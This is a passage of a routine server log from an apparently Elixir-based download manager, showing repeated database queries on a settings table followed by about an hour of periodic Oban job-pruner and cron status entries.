s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:04.001 [debug] QUERY OK source="settings" db=0.2ms idle=358.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:04.002 [debug] QUERY OK source="settings" db=0.2ms idle=359.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:04.004 [debug] QUERY OK source="settings" db=0.1ms idle=360.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:04.004 [debug] QUERY OK source="settings" db=0.1ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:24:04.005 [info] Sent 200 in 5ms 00:24:25.190 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:55.192 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.147 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:25.194 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:55.196 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.148 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:25.198 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:55.200 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.149 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:25.203 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:55.205 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.150 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:25.207 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:55.209 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.151 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:25.211 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:55.213 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.152 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:25.215 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:55.217 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.153 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:25.219 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:55.221 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.154 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:25.223 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:55.225 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.155 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:25.227 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:55.229 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.156 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:25.230 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:55.233 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.157 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:25.236 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:55.238 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.158 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:25.240 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:55.242 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.159 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:25.245 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:55.247 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.160 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:25.249 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:55.251 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.162 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:25.253 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:55.255 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.163 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:25.257 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:55.259 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.164 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:25.261 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:55.263 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.165 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:25.265 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:55.267 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.166 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:25.270 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:55.272 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.167 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:25.274 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:55.276 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.168 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:25.278 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:55.280 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.169 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:25.282 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:55.285 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.170 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:25.288 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:55.290 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.171 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:25.292 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:55.294 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.172 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:25.296 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:55.298 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.173 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:25.300 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:55.302 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.174 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:25.304 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:55.306 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.175 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:25.308 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:55.310 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.176 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:25.313 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:55.315 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.177 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:25.317 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:55.320 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.178 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:25.322 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:55.324 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.179 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:25.326 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:55.329 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.180 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:25.330 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:55.333 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.181 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:25.335 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:55.337 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.182 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:25.339 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:55.341 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.183 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:25.343 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:55.345 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.184 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:25.347 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:55.349 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.185 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:25.351 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:55.353 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.186 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:25.355 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:55.357 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.187 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:25.359 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:55.361 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.188 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:25.363 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:55.365 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.189 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:25.367 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:55.369 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.190 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:25.371 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:55.373 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.191 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:25.374 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:55.376 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.192 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:25.378 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:55.380 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.193 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:25.382 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:55.384 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.194 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:25.386 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:55.388 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.195 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:25.390 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:55.392 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.196 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:25.394 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:55.396 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.197 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:25.398 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:55.400 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.198 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:25.402 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:55.404 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.199 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:25.406 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:55.408 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.201 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:25.410 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:55.412 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.202 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:25.414 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:55.416 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.203 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:25.418 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:55.420 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.204 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:25.422 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:55.424 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.205 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:25.426 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:55.428 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.206 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:25.430 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:55.432 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.207 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:25.434 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:55.436 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.208 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:25.438 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:55.440 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.209 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:25.442 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:55.444 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.210 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:25.446 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:55.448 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.212 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:25.450 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:55.452 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.213 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:25.454 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:55.456 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.215 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:25.458 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:55.460 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.216 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:25.462 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:55.464 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.217 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:25.466 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:55.468 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.218 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:25.470 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:55.472 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.219 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:25.474 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:55.476 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.220 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:25.478 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:55.480 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.221 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:25.482 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:55.484 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.222 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:25.486 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:55.488 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.223 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:25.490 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:55.492 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.224 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:25.494 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:55.496 [info] 